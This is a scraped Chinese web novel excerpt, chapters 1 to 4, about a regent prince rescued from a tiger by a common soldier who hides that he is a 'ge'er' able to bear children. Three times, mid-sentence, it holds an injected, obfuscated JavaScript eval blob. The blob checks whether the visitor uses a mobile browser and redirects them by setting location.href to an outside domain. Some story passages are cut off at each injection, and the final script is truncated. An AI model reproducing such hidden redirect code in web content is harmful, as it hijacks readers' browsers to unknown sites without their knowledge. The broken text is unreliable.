《忠犬造反带球跑了》 1. 第 1 章 朔风卷过苍茫的围场,枯黄的草浪翻滚如怒涛。 深秋的皇家猎场正在举办一年一度的秋狄。 旌旗猎猎,号角长鸣。 高台之上,摄政王宇文尚一身玄色劲装,外罩绣金蟒纹大氅,身姿挺拔如孤峰寒松。 他俯瞰着下方策马奔腾、追逐猎物的王公贵族,凤眸锐利如鹰隼,嘴角噙着一丝若有若无的冷峭弧度。 八年摄政,权倾朝野,他是群臣眼中阴毒狠辣的权臣,更是小皇帝无法摆脱的梦魇。 今日秋狄,既是彰显武力,亦是敲打人心。 “开猎!”宇文尚的声音不高,却带着金石之音,清晰地传遍围场每一个角落,激起一片山呼海啸般的应和。 他亦步下高台,矫健地翻身跃上侍从牵来的爱驹“飞电”。 这是一匹通体乌黑、四蹄雪白的神骏,传说能日行千里。 宇文尚轻夹马腹,“飞电”长嘶一声,化作一道黑色闪电,当先冲入密林边缘的猎区。随行的亲卫精锐急忙策马跟上,却瞬间被那神驹的速度甩开了一大截。 围场外围,负责警戒的左翼驻军士兵们肃立如标枪。 褚良身在其中,穿着陈旧的皮甲,袖口和领口处明显比别人系得更紧、更严实,身形更是挺拔如松。 他微微蹙着眉,不同于其他士兵只盯着林外开阔地,他像一头警觉的豹,鼻翼微不可察地翕动着。 空气里……似乎飘着一丝若有若无的腥臊气。 很淡,混杂在草木泥土和远处猎物的血腥味中,几乎难以察觉。 但褚良从小跟着老猎户在山林里摸爬滚打,对猛兽的气息极其敏感。 这股味道……是大虫留下的!而且,带着一种焦躁不安的侵略性。 他下意识地握紧了手中的硬弓,粗糙的指腹摩挲着箭头上那个刻痕——简单线条的云纹,是他惯用的标记。 “听说了吗?王爷好像往咱们这边的林子来了!” 旁边一个士兵压低声音,带着明显的兴奋和紧张。 褚良心头猛地一跳。鬼使神差地,他没有像往常一样坚守岗位,而是悄无声息地向侧方移动了几步,更靠近那片传来异样气息的密林边缘。 他也不知道自己为什么要这么做,一种强烈的、源于猎手本能的预感驱使着他。 就在这时,密林深处传来一声震耳欲聋的虎啸,紧接着是一声短促而厉然的呼喝! 声音距离褚良藏身的灌木丛不算太远! 林间光影斑驳,宇文尚勒住“飞电”,一人一马停在略显空旷的林间空地上。 他神色冷峻,一手持着强弓,箭已搭在弦上,锐利的目光警惕地扫视着四周浓密的灌木和虬结的古树。 那股浓重的腥臊味几乎扑面而来,巨大的威胁感如影随形。 他知道,刚进林子就碰到的那头狡猾的猛虎就在附近潜伏。但原始森林枝繁叶茂,为猛兽提供了最好的庇护,宇文尚根本锁定不了它的位置! “飞电”不安地刨着蹄子,喷着响鼻。 宇文尚全神贯注,感知着每一丝风吹草动。 突然!右侧的灌木丛猛地炸开!一道巨大的、带着腥风的斑斓身影如同金色闪电,裹挟着毁灭一切的气势,直扑宇文尚! 正是那头吊睛白额的猛虎! 宇文尚反应快到极致,几乎在虎影闪现的同时,弓弦嗡鸣!一支雕翎箭破空而出! “噗!” 箭矢狠狠扎进了猛虎的肩胛!但仓促之间,未能命中要害! 剧痛彻底激发了猛虎的凶性,它发出一声震耳欲聋的咆哮,巨大的身躯带着千钧之力,无视肩上的箭伤,怒张血盆大口,獠牙森然,直取宇文尚的咽喉!那锋利的爪尖,撕裂空气,带着死亡的腥风! 远处,被甩开的亲卫们也听到动静,个个目眦欲裂,疯狂催马赶来,无奈距离太远,鞭长莫及! “王爷——!” 惊呼声响彻林间。 宇文尚瞳孔骤缩,死亡的阴影瞬间笼罩! 他猛地向后仰倒试图躲避,但猛虎的速度太快了,他甚至能看清虎口深处猩红的喉管! 就在这千钧一发、万念俱灰之际, “咻——!” 一道更加凌厉、更加锐利的破空声,带着刺耳的尖啸,从宇文尚侧后方的灌木丛中激射而出! 这一箭,时机、角度、力量都妙到毫巅!它精准而凶狠地,带着致命的穿透力,狠狠贯入了猛虎大张的口中,直透后脑! “吼——呜……” 猛虎惊天动地的咆哮瞬间变成了濒死的呜咽,庞大的身躯如同被抽掉了筋骨,在半空中猛地一滞,轰然砸落在地,激起大片尘土,距离宇文尚的马蹄不过三尺之遥! 腥热的虎血喷溅而出,有几滴甚至溅到了宇文尚冰冷的侧脸上。 宇文尚的心脏在胸腔里狂跳,几乎要破膛而出,死亡的冰冷触感仿佛还停留在皮肤上。 这个当口,他压下惊惧,猛地扭头,看向箭矢射来的方向! 只见一个穿着普通驻军皮甲的士兵,正从灌木丛后疾步冲出来,手中还保持着引弓的姿势,弓弦犹在剧烈震颤。 他脸色煞白,一双眼睛在惊魂一刻之后,亮得惊人,如同被水洗过的寒星,纯粹、坦荡,带着一种未染尘埃的清澈。 看穿着,应是外围的守卫士兵! 他竟敢擅离职守?! 但此刻,宇文尚没空追究这个,他闷哼一声,左臂传来一阵剧痛。刚才猛虎临死前的巨爪虽然未能完全落下,但锋利的爪尖还是划破了他的手臂,皮肉翻卷,鲜血正迅速浸染他玄色的衣袖,蜿蜒着,滴落在枯叶上。 “王爷!” 亲卫们终于赶到,为首的侍卫长惊魂未定,看到地上的虎尸和宇文尚流血的手臂,更是一时呆立。 褚良也看到了那伤口,心中一紧,几乎是本能地冲上前一步, “伤口需尽快止血!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16356368|183634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他伸手想去查看。 “放肆!退下!” 侍卫长厉声呵斥,长刀瞬间出鞘,冰冷的刀锋指向褚良,眼中满是警惕和不信任, “区区外围小卒,安敢近王爷身前!谁知你是否包藏祸心!” 褚良的动作僵住,伸出的手尴尬地停在半空。 宇文尚眉头紧锁,伤口火辣辣地疼,失血带来的眩晕感开始上涌。 他瞥了一眼被喝退的年轻士卒,那双眼睛里的关切和坦荡不似作伪。 而且,刚才那一箭,是真正的救命之恩。 “血流不止,难道要看着孤失血而死吗?” 宇文尚的声音带着失血后的沙哑,他冷冷扫了侍卫长一眼, 侍卫长李莽被威吓得再不敢多言。 宇文尚得目光重新落到褚良身上,“你,过来。” 褚良深吸一口气,顶着侍卫长几乎要杀人的目光,快步上前。他单膝跪在宇文尚马前,动作异常利落,撕下自己相对干净的里衣下摆止扎出血部位,又从旁边草丛里揪下几簇野草嫩叶揉碎。 “王爷,得罪了。” 褚良低声道,声音干练。 他小心地托起宇文尚受伤的手臂,动作麻利地将揉碎的草药敷在狰狞的伤口上,一股清凉之意瞬间压下了火辣辣的疼痛,止血效果更是立竿见影。 宇文尚垂眸,看着这个近在咫尺的年轻士卒。 他专注的神情,熟练的动作,额角因紧张渗出的细密汗珠,以及那双低垂着、不敢直视他、却依旧清澈见底的眼睛…… 及时止血后,混沌的头脑清醒了几分。 “叫什么名字?” 宇文尚的声音带着上位者的威严。 包扎完毕,褚良立刻收回手,恭敬地低下头,声音清亮但略显紧张, “回王爷,卑职褚良,围场左翼驻军部卒。” “褚良……” 宇文尚缓缓念出这个名字,目光扫过他腰间箭壶里露出的箭杆——那上面,似乎刻着一个细小的云纹符号。 再看地上那支贯穿虎口、救了他性命的箭矢,尾羽磨损,箭杆粗糙,箭头和箭杆上刻着同样的符号,是最普通的军制箭支。 “好箭法。” 宇文尚的声音不高,却清晰地传入每个人耳中, “擅离职守,按律当罚……” 他居高临下地看着单膝跪地的褚良,年轻士卒听到他的话,身体似乎在微微颤抖。 手臂上的伤口被包扎得妥帖,草药带来的清凉感还在持续。 宇文尚的嘴角,勾起一抹傲慢与施舍意味的弧度。 “……但临危救驾,更当重赏。褚良,孤向来赏罚分明。你的功过,回营再论。” 他勒转马头,“随孤回营。” “飞电”打了个响鼻,扬起前蹄,下一刻便疾驰而去。 阳光穿过林隙,在宇文尚身上投下斑驳的光影,也照亮了褚良低垂的脸,此刻却是复杂难辨的神情。 2. 第 2 章 宇文尚的营帐内,烛火通明。 太医战战兢兢地跪在案前,替摄政王重新包扎伤口。 虎爪留下的伤痕狰狞,深可见骨,让人不忍直视。 但药粉撒上去时,宇文尚连眉头都没皱一下,只垂眸盯着案上那支染血的箭——箭头刻着云纹符号,正是褚良的箭。 帐外传来脚步声,侍卫长李莽低声禀报:“王爷,人带到了。” “进来。” 帐帘掀起,褚良被两名亲卫押着走进来。 他仍穿着那身旧皮甲,只是此刻被摘了佩刀,双手缚在身后。一进帐内,他便被压着额头抵地。 俯身叩首时,粗糙的地面摩擦着他的脸颊,他下意识地绷紧了脖颈,生怕这个压迫的姿势会让领口意外松开,紧张得额角渗出细密的冷汗。 除了对王爷的敬畏,他还有一层更深切的恐惧。 宇文尚没急着开口,只慢条斯理地拢了拢衣袖,让太医退下。 帐内一时静得可怕,只有烛火偶尔爆出轻微的噼啪声。 “擅离职守,按军规当杖三十。” 宇文尚终于开口,声音不疾不徐, “临危救驾,按例该赏黄金百两。” 他指尖点了点案上的箭,抬眼看向褚良:“你说,孤是该罚,还是该赏?” 褚良喉结滚动了一下,仍低着头:“卑职擅离职守,甘愿受罚。” “哦?”宇文尚眉梢微挑,“救了孤的命,却只求受罚?” “救王爷是本分,违令是事实。”褚良字字清晰,“不敢求赏。” 宇文尚盯着他看了片刻,忽然轻笑一声。 他起身,玄色大氅垂落,一步步走到褚良面前。 靴尖抵住褚良玉色得下颌,微微用力,迫使他抬起头。 四目相对。 烛火映照下,褚良的眉眼愈发清晰——剑眉星目,鼻梁高挺,下颌线条坚毅,是一张极英气的脸。只是此刻,那双眼睛里藏着明显的紧张,却又坦荡得让人生不出厌恶。 宇文尚忽然俯身,一把掐住他的脖子,力道大得几乎让人窒息,“孤最讨厌别人说谎。” 褚良呼吸困难,却没挣扎,他说不出话来,只能艰难摇头。 “是吗?”宇文尚冷笑,“那你告诉孤,为何偏偏是你察觉了猛虎?又为何擅离职守?你怎么射出的那一箭?” 他的声音越来越低,最后几乎贴着褚良的耳畔,温热的气息拂过耳廓,“到底是巧合,还是别有用心?” 褚良脊背绷得更紧,却仍直视着宇文尚,感觉到掐住脖子的力气稍减,他艰难开口,“卑职幼时随养父狩猎,熟悉猛兽踪迹。至于擅离职守……” 他顿了顿,“是卑职的错。” 他没解释那一箭,因为无需解释——在场所有人都看到了,那一箭救了宇文尚的命。 宇文尚盯着他看了许久,眼底翻涌着审视与兴味。 就在褚良以为会有更严厉的诘问或处置时,宇文尚却猛地松开了手,直起身,声音陡然转冷, “滚出去。” 褚良一愣,却不敢有半分迟疑,重重叩首后,立刻起身,低头退出营帐。 褚良刚掀开帐帘退出来,险些与一个风尘仆仆、正欲冲入帐内的人影撞个满怀! 那人穿着驿卒服色,满面焦急,手中高举着一封火漆密信,口中嘶哑喊着:“八百里加急!京城密报!给王爷——!” 褚良慌忙退避,可还是听到随后帐中传来“哐当!”一声巨响!紧接着是宇文尚压抑着怒火的声音:“来人!!!” 不知发生何等秘事,褚良下意识躲避,却因不熟悉路,显得仓惶,立即便被守在帐外的侍卫长李莽狠狠推了一把,厉声呵道, “王爷让你滚!还杵在这儿找死?!滚!” 那力道之大,让褚良踉跄了好几步才站稳。 他不敢停留,匆匆小跑着离开主帐区域。 褚良走后,主帐内因那封密信瞬间升腾起令人窒息的低气压。 烛火跳跃,映着宇文尚半边脸阴鸷如斯。 密信上寥寥数语,写得分明,他那位好侄儿,年仅十一岁的小皇帝,竟趁他离京秋狄之际,秘密联络了几位素来不满他摄政的老牌勋贵和清流领袖,暗中串联,似有图谋! “呵”一声冰冷的、淬着毒的笑从宇文尚齿缝里挤出来, “孤的好侄儿……翅膀硬了?竟敢在孤的眼皮底下玩这套把戏!看来是孤这些年,待他太‘宽厚’了!” 他猛地将信纸拍在案上,震得烛火剧烈摇晃, “备马!即刻回京!” 侍卫长李莽刚送走驿卒,闻言大惊,顾不得地上的狼藉,连忙劝阻,“王爷!您的伤需要静养,而且天色已晚……” “孤的话听不明白?”宇文尚霍然转身,凤眸中寒光如利刃直刺侍卫长,“再敢多言半句,军法处置!滚去备马,一炷香后出发。” 闻言,李莽脸色难堪,再不敢多劝。 褚良回到自己冰冷简陋的军帐,心绪如乱麻。 白日惊险救驾、刚才帐中受审,一连串跌宕起伏,让他坐立不安。 然而更令他感到恐惧的是,他自己身上的秘辛,绝不能因这次意外暴露。 他本是个弃婴,被山中猎户养大,两人相依为命,养父去世后,他便投了军。 本来凭着一身箭法在军中如鱼得水,不曾想,入伍后没多久,褚良左胸口处竟隐隐透出一枚凤形胎记,成了他日夜挥之不去的焦虑噩梦。 有此胎记的男人即为哥儿,纵为男人身,也可孕育子嗣,世间并不多见,万中无一。 哥儿虽在民间并不受歧视,甚至有些男子特意求娶哥儿为妻,宇文王朝亦有哥儿被纳入后宫的历史。 但军中却有明令,绝不允许哥儿参军,恐其扰乱军心,惑乱军纪。 也有哥儿为了混口饭吃,混入军中的先例,下场皆十分凄惨。军营中都是血气方刚的大男人,不用想也知道,会遭遇什么,而且,军 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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摄政王身边的近身侍卫都出身显赫,有的彼此还是亲故,他们彼此默契地调整位置,不动声色地将褚良这个低阶小卒,排挤到了队伍的最末尾。 马蹄声急促响起,宇文尚一马当先,黑色的骏马如离弦之箭射入沉沉夜幕。褚良夹紧马腹,努力跟上队伍,但他能感觉得出,自己的马匹脚力不够,又被前方密集的马匹有意无意地阻挡着,要不是其中一人主动让出个间隙给他,从未出过秋狄围场,不熟悉官道的他恐怕会被队伍甩丢。 夜风呼啸着刮过脸颊,带着刺骨的寒意。他紧握缰绳,指节用力到发白。 即便前方的侍卫有意无意排挤他,阻挡他,他也只是咬紧牙关,默默承受,不发一言。他甚至在颠簸的马背上,下意识地又紧了紧自己的领口,仿佛这样就能将那决定命运的烙印死死捂住。 王爷为何点了他这个刚被“滚”出大帐、无足轻重的小卒随行? 无人能给他答案。他就像一片被狂风卷入激流漩涡的叶子,身不由己,只能被动地随着这支沉默而压抑的队伍,向着未知的风暴中心疾驰而去。 前方等待他的,是福?是祸?他全然不知。唯一清晰的,是宇文尚在夜色中那凛然的背影,以及自己胸腔里那颗狂跳不止的心。 3. 第 3 章 星夜兼程的疲惫被王府高耸的朱门隔绝在外。 宇文尚带着一身风尘与未愈的伤,甫一踏入摄政王府,便径直走向书房。 紫檀木大案上堆积如山的奏报和密函,昭示着权力中心片刻的松懈都可能引发动荡。 他甚至未换下沾染泥泞的靴履,只扯下墨色大氅扔给侍从, 便坐到了案后。 “去宫里,”他声音带着长途奔波的沙哑,却冷硬如铁, “请陛下来王府‘叙话’。就说孤要考校近日功课,闲杂人等免入。” 宇文尚的语气带着不容置疑的命令味道。 侍卫长李莽躬身领命,疾步而去。 褚良作为新晋摄政王侍卫,被安排在书房院落的二门外值守。 王府的森严与雍容让人倍感拘谨。 他挺直脊背,手握刀柄,领口和袖口依旧系得一丝不苟,目光警惕地扫视着幽深的回廊。 在这王府森严之地,那要命的秘密更不能有丝毫松懈。 约莫半个时辰后,一乘低调的青呢小轿在王府侧门停下。 年仅十一岁的小皇帝宇文珏独自一人下了轿,身后跟着一个面白无须、神色惶惶的老太监。 没走几步,老太监就被王府侍卫客气而强硬地拦在了二门外。 宇文珏穿着明黄色的常服,身形单薄,小小的脸上努力维持着属于帝王的庄重。 他下意识地环顾四周,目光掠过值守的侍卫时,在那陌生而俊朗的脸上停留了一瞬,心中飞快闪过一丝念头,这人就是皇叔在围场遇险时,一箭射杀猛虎的那个外围士卒?皇叔竟将他带回了王府,还放在身边…… 只是一闪念,宇文珏很快便收回了好奇和审视的目光,他深吸一口气,挺起单薄的胸膛,独自一人,一步步走向皇叔的书房。 褚良的目光在小皇帝走后,才敢落在对方身上。 那稚嫩的身影在空旷威严的回廊里显得格外孤寂弱小。一股对至高皇权的天然敬畏油然而生,褚良下意识地屏住了呼吸,垂下视线。 几乎同时,另一个念头不受控制地浮现,这就是皇帝么?似乎远不如书房内那位摄政王令人心生敬畏。 但,下一刻,褚良就意识到自己的想法是多么大不敬,他忙收敛心神,恭敬地垂首侍立。 书房内,烛火摇曳。 宇文钰进门之后,宇文尚并未起身,他的左臂搁在扶手上, 只随意指了指下首的座位,动作带着明显的迟滞。 “坐吧。” 他对自己的皇帝侄儿说道。 宇文珏依言坐下,双手规规矩矩地放在膝上,指尖微微蜷缩。 “《帝范》读到何处了?”宇文尚声音平淡,听不出喜怒,修长的手指随意翻着案上的一本奏折。 宇文珏小心地回答:“回皇叔,读到‘纳谏篇’。” “哦?”宇文尚抬眼,凤眸似笑非笑,“那说说,何为纳谏?纳何人之谏?” 小皇帝努力回忆着太傅的讲解, “纳谏……是广开言路,听臣下之言……择善而从。” “择善而从?” 宇文尚轻笑一声,放下奏折,身体微微前倾,无形的压力瞬间笼罩,“善与不善,由谁而定?是听那些皓首穷经、只会空谈道德的老学究?还是听那些纸上谈兵、不知朝堂深浅的莽夫?” 他的声音不高,却字字如针,扎在宇文珏心上。 小皇帝的脸色微微发白,不敢接话。 宇文尚端起茶盏,慢条斯理地撇着浮沫,语气愈发幽深, “陛下年幼,正是需要明师教导、良臣辅弼之时。可惜啊……” 他顿了顿,目光如实质般落在宇文珏脸上,“有些人,倚老卖老,迂腐冥顽,只会用些陈词滥调误导圣听。还有些人,仗着几分祖荫,行事鲁莽冲动,全无大局之观。这等人物留在陛下身边,非但无益,反而有害。” 宇文珏的心瞬间提到了嗓子眼,手心全是冷汗。 他已猜到皇叔所指何人。 “故而,”宇文尚放下茶盏,发出一声轻响,却震得小皇帝抖了抖。 “为了陛下能专心学业,不受干扰,孤已替陛下做了主。” “太傅陈老大人年事已高,孤已准其致仕,回乡颐养天年。至于镇北侯世子……” 他嘴角勾起一抹冰冷的弧度,“年轻人血气方刚,留在京中易生是非,孤已向陛下请旨,调他去西疆历练,为国戍边,正合其才。” 宇文珏只觉得一股寒气从脚底直冲头顶! 陈太傅是他最信任的老臣之一,镇北侯世子更是他偷偷联络、许诺将来重用的年轻勋贵。 皇叔竟如此轻描淡写,就将他们一个“荣养”,一个“发配”。 无异于赤裸裸的威胁警告,褫夺皇权! 宇文钰单薄的身体抑制不住地微微颤抖,强忍着眼眶里打转的泪水,深沉恐惧和恨意几乎要将他淹没。 他知道,自己的一举一动,从未逃过皇叔的眼睛。 他虽贵为帝国的皇帝,却没有任何权利和自由可言,他被看得死死的! “皇叔……处置得是。”宇文珏带着颤音回复。 宇文尚当然看出他的不满,但始终面上含笑, “本王也是为了陛下着想,陛下能明白就好。天色不早了,回宫去吧。功课不可懈怠。” 书房门打开,宇文珏低着头,脚步虚浮地走了出来。 他眼眶通红,在背过身的一刻,泪水再也忍不住,大颗大颗地滚落,却死死咬着下唇不让自己哭出声。 他越走越快,瘦削的、仓皇的身影正撞上守在二门外的褚良的目光。 褚良心中一震。 他方才在门外,虽听不清具体言语,但宇文尚那偶尔提高的、冰冷的训斥声,让他这个局外人都感到心惊。此刻亲眼见到小皇帝这副泪流满面、如同惊弓之鸟的模样,更让他清晰地感受到了摄政王那令人窒息的绝对权威。 一个十一岁的孩子,被如此对待……褚良心中涌起一股复杂的情绪,既有对皇权的敬畏,又有对弱者的本能同情。 宇文珏看到那侍卫,忙擦掉眼泪,地头快步走过,却在转弯时,不慎撞到门框。 褚良忙伸手去扶,小皇帝得亏没有跌倒,但腰间的香囊却掉落,滚到了褚良脚边。 褚良立即单膝跪地,恭敬地拾起那绣着盘龙的香囊,双手奉还,“陛下,您的香囊。” 宇文珏泪眼朦胧地看向褚良。 是那个皇叔的“救命恩人”,奇怪的是,不同于其他侍卫,他对自己竟十分亲近。 仇恨和屈辱让一个念头如迅速闪过…… 努力挤出刻意温和的笑容,小皇帝伸手拍了拍褚良奉着香囊的手背, “多谢。” 他没有接过香囊,反而将其轻轻推回褚良手中, “这个赏你了。今日让你见笑了。” 语气里那种未脱孩童的脆弱和委屈让褚良受宠若惊,也十分心疼, “卑职不敢!此乃御用之物……” 他低下头,不敢领赏。 “孤说赏你,便是你的。” 宇文珏语气带着一 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守在门外的侍卫长即刻应声,“卑职在。” 宇文尚半阖着眼,不耐烦的说,“不是你,是那个围场侍卫,叫他过来给我敷草药。” 侍卫长李莽眸色一沉,却不敢怠慢,忙去吩咐褚良。 二门外的褚良听说之后,也是一愣,他心中疑虑,他所用的草药皆是野地里应急之物,怎能与太医院的名贵药材相比。 看他迟滞不动,侍卫长瞠目斥道, “还不快去,迟了小心掉脑袋!” 褚良不敢耽搁,立刻趁着夜色出了王府。 京城不比围场,他费了好一番功夫,才在城郊野地找到几株草药。等他带着沾满夜露的草药回到王府小厨房,已是后半夜。 侍卫长又请太医仔细查验并无异样后,这才放他进来。 褚良小心翼翼地洗净草药,在石臼中细细捣烂,碧绿的汁液散发出熟悉的清苦微辛气息。 当他捧着盛着药糊的青瓷小碗,穿过寂静的回廊走向书房时,却又在廊下被侍卫长李莽拦住了。 李莽上下打量着褚良沾着泥点的裤脚和手中的粗瓷碗,眼中带着毫不掩饰的轻蔑, “别以为弄些小花招讨好主子,就能一步登天。” 褚良抿紧唇,没有反驳,只是将药碗护得更紧了些。 李莽看他并不接话,只得冷哼一声,本想再说几句警告的话,书房内却传来宇文尚不耐的声音,“药呢?磨蹭什么!” 李莽脸色一变,悻悻地让开。 褚良深吸一口气,推门而入。 书房内烛火明亮。宇文尚显然刚准备换药,他背对着门口,玄色中衣褪至腰间,露出精壮的上半身。 宽肩窄腰,肌肉线条流畅而充满爆发力,如同矫健的猛兽。最令人目眩的是他那头披散下来的长发——并非纯黑,在烛火映照下,流淌着一种深邃神秘的墨紫色光泽,与他冷白如玉的肌肤形成惊心动魄的对比。 这具身体是力量与美的极致结合,却笼罩着一种如同暗夜修罗般诡秘危险,极具侵略性的气场。 褚良的脚步瞬间被钉在原地,呼吸一窒,竟看得有些失神。 “杵着作甚?” 似乎察觉到身后的视线,宇文尚并未回头,声音带着一丝病中的慵懒和惯有的威严。 褚良猛地回神,慌忙低下头,脸颊烧得滚烫,声音干涩,“王爷,药好了。” 4. 第 4 章 褚良被安排在王府侍从居住的下房。 房间不大,但比军营的帐篷好上许多。他沉默寡言,却手脚勤快,主动帮同屋的侍从打扫、挑水。 一日训练结束,同屋的几个年轻侍从吆喝着去澡堂。 “褚良,走啊!泡个澡解解乏!”有人招呼他。 褚良动作一僵,连忙摇头,声音有些干涩:“我还有些事,你们先去。” 说完,他低下头,继续擦拭着自己的佩刀。 “啧,又是这样。来了王府还这么扭捏?” 有人小声嘀咕。 面对这类议论,褚良习以为常,并不作声,但一块新皂角却忽然被扔在了他的铺位上。 褚良抬头,发现正是从围场回来那日,给自己让位置的侍卫陈锋。 他刚要开口,就听对方声音冷淡的道, “王府规矩多,热水不是随时有。错过了时辰,就得用冷水。” 褚良愣了一下,看向那块皂角,又看向陈锋,低声道:“多谢。” 陈锋没看他,径自收拾自己的东西,临出门前,又淡淡道,“你不用帮忙打扫。做好你自己就行。” 褚良握着那块皂角,看着陈锋离去的背影,心头滋味莫名。 摄政王府的日子,在无声的规矩中流淌。 褚良值守于书房二门外,唯有宇文尚换药时得以短暂入内。 换药成了两人间沉默的仪式。 宇文尚靠坐椅中,褪下半边衣衫,闭目养神。褚良单膝跪侧,动作轻缓地解布、擦拭、敷药、裹伤。 起初几日,两人无话。 后来某日,宇文尚又闭目任褚良摆弄时,忽然用听不出情绪的声音问道。 “父母何在?” “回王爷,卑职是孤儿,由山中猎户养大,前年养父亡故了。” 褚良手上不停,答得简短。 宇文尚听后,未做表示,也没再问话。 下次换药时候,他又忽然发问, “可读过书?” “识得几个字,会写名姓。军令文书……认得些。” 褚良的声音也显得平板。 他显然不是个会攀谈的人,很难让摄政王产生继续聊下去的兴趣,可褚良也拿这样的自己没办法,他也知道自己很木讷,不会讨人欢喜。 以为王爷再也不会找自己问话,没想到,第二日,王爷还是开口问起来, “武艺哪里学的?” “养父教的射箭、识踪。军中跟教头学了拳脚刀法,自己瞎练。” 依旧无甚修饰。 认为他性格木讷老实的,显然不止褚良自己,宇文尚亦然,一段时间接触下来,他发现此人像块山里的顽石,不懂花巧,也无甚机心,问啥答啥,虽救了自己,但却不会乘机邀功请赏,这也正是他的难得之处,忠良顺从,正是宇文尚需要的。 服药日久,宇文尚虽闭着眼,感官却敏锐地捕捉到变化。这日敷上的药糊,触感明显不同——更加细腻柔滑,几乎感觉不到颗粒,药糊带来的沁凉感似乎能更持久地渗透伤处,灼痛被压制得格外妥帖。 他睁开眼,目光落在褚良正小心托着的青瓷小碗上,碗壁外侧凝结着一层细密冰凉的水珠。 “药碗沁过井水?”宇文尚声音带着一丝探究。 褚良手上动作一顿,低声道:“是,王爷。卑职想着沁凉些,镇痛效果能更好。” 没有半分邀功的意思,仿佛他只是做了一件理所应当的事。 宇文尚重新闭上眼,没说话。 前一日,宇文尚骑马时动作过大,狠狠牵动了左臂伤处,剧痛让他瞬间白了脸。 入夜换药,褚良解开布带,看到伤口边缘因牵扯而微微渗血红肿,眉头不禁皱了一下。他敷药的动作比平时更加轻柔,指尖一点点将药糊抹匀。可依然看到宇文尚换药时候抿紧的唇角,平日里话少的褚良,竟破天荒地开了口,声音带着点干涩的紧张: “王爷……卑职小时候跟养父进山,也遇过熊瞎子。那家伙皮糙肉厚,一箭射中眼睛都能又扑上来……我们爬到树上,它就在下面撞,撞得那树直晃……” 他有些笨拙地描述着。 正被一阵阵尖锐的抽痛折磨得心烦意乱,额角青筋微跳,听着这磕磕绊绊的“故事”,宇文尚只觉得聒噪。 他猛地睁开眼,凤眸中带着烦躁,声音冰冷地打断, “闭嘴!你叨叨起来没完,孤的伤更疼了!” 褚良的声音戛然而止,脸瞬间涨得通红,低下头再不敢多说一个字,手上动作却愈发轻缓。 宇文尚瞥见他这副窘迫模样,心头那股无名火莫名地散了些,反而觉得有点……意思。 次日清晨,左臂疼痛稍缓,宇文尚踏入后院演武场。 晨曦微露,薄雾未散,为青石地面镀上一层湿润的光泽。他玄色常服的身影在寂静的晨光中显得格外挺拔孤峭,墨紫色的长发未束,几缕滑落肩头,更衬得侧脸轮廓如冷玉雕琢。他缓步而行,目光扫过空旷的场地,最终落在角落。 那里,褚良正对着草靶凝神射箭。每一次开弓,肩臂的肌肉线条都绷紧如铁,专注的神情仿佛天地间只剩手中弓与眼中靶。箭矢破空之声短促有力,笃笃地钉入靶心。阳光穿过薄雾,落在他汗湿的额角和专注的眉眼上,带着一种近乎虔诚的认真。 宇文尚驻足回廊阴影下,静静看了片刻,才缓步走出,他步履无声,却带着无形的威压。 “力气倒足。” 清冷的声音骤然响起,打破了演武场的寂静。 褚良一惊,猛地循声望去,见是宇文尚,慌忙放下手中旧弓,单膝跪地行礼,“王爷!” 声音带着一丝未褪的紧张。 宇文尚的目光并未在他身上停留太久,转而投向兵器架上那把通体乌沉、泛着冷硬光泽的三石强弓——“飞星”。 “试试它。” 命令简洁,不容置喙。 褚良起身,走到兵器架前。那把“飞星”弓比他惯用的沉重太多,入手冰凉。他深吸一口气,沉腰立马,左足前踏,深深踩入地面。左手五指如铁钳般牢牢握住弓弣,指节因用力而泛白;右手三指扣上紧绷如钢弦的弓弦,手背上青色的血管瞬间贲张凸起,如同盘绕的虬龙。 “嗬——!” 一声低沉的吐纳从胸腔迸出。他全身的力量在这一刻凝聚!宽阔的肩背绷紧,手臂的肌肉贲张到极限,额角太阳穴处青筋跳动,细密的汗珠瞬间沁出,沿着紧绷的侧脸线条滑落。那沉重如铁的弓臂在他手中发出不堪重负般的“嘎吱”轻响,被一寸寸、极其艰难却无比稳定地拉开了! 弓开如满月! 弓弦震颤,发出低沉而危险的嗡鸣!褚良的眼神锐利如鹰,死死锁定着无形的目标,仿佛将所有的意志和力量都灌注于这开弓一瞬。汗水顺着他的下颌滴落,砸在脚下的青石板上,洇开一小片深色。 宇文尚负手而立,墨紫色的眼眸映着晨光,深邃难测。 “行了。” 宇文尚的声音依旧平淡,却仿佛带着一丝不易察觉的松动。 褚良闻声,如同绷紧的弦骤然放松,缓缓收力。弓弦回弹,发出“嘣”的一声轻响。他气息粗重,手臂因脱力而微微颤抖,额头的汗水更是涔涔而下。他小心地将沉重的“飞星”弓放回架上,动作带着敬畏。 宇文尚的目光掠过褚良那张靠在墙角的、显得格外粗陋的旧弓,最终落回“飞星”上。 他薄唇微启,声音不高,却清晰地传入褚良耳中,“你那把破弓扔了吧。这把赏给你了。” 褚良猛地抬头,满脸的难以置信。 “王爷?这……这太贵重了!卑职不敢……” 巨大的惊喜与惶恐交织,让他声音都有些发颤。 “赏你的,便收着。”宇文尚打断他,语气平淡却重逾千斤。他微微侧首,墨紫色的发丝拂过冷玉般的下颌,目光在褚良那张写满震惊与无措的脸上停留了一瞬,“好好练,莫要辜负了它。” 话音落下,他不再多言,玄色衣摆无声地拂过微湿的青石地面,转身离去。 晨曦的光线勾勒着他挺拔如松的背影,墨发如瀑,步履从容,带着一种与生俱来的贵胄气度和疏离感,仿佛方才那短暂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 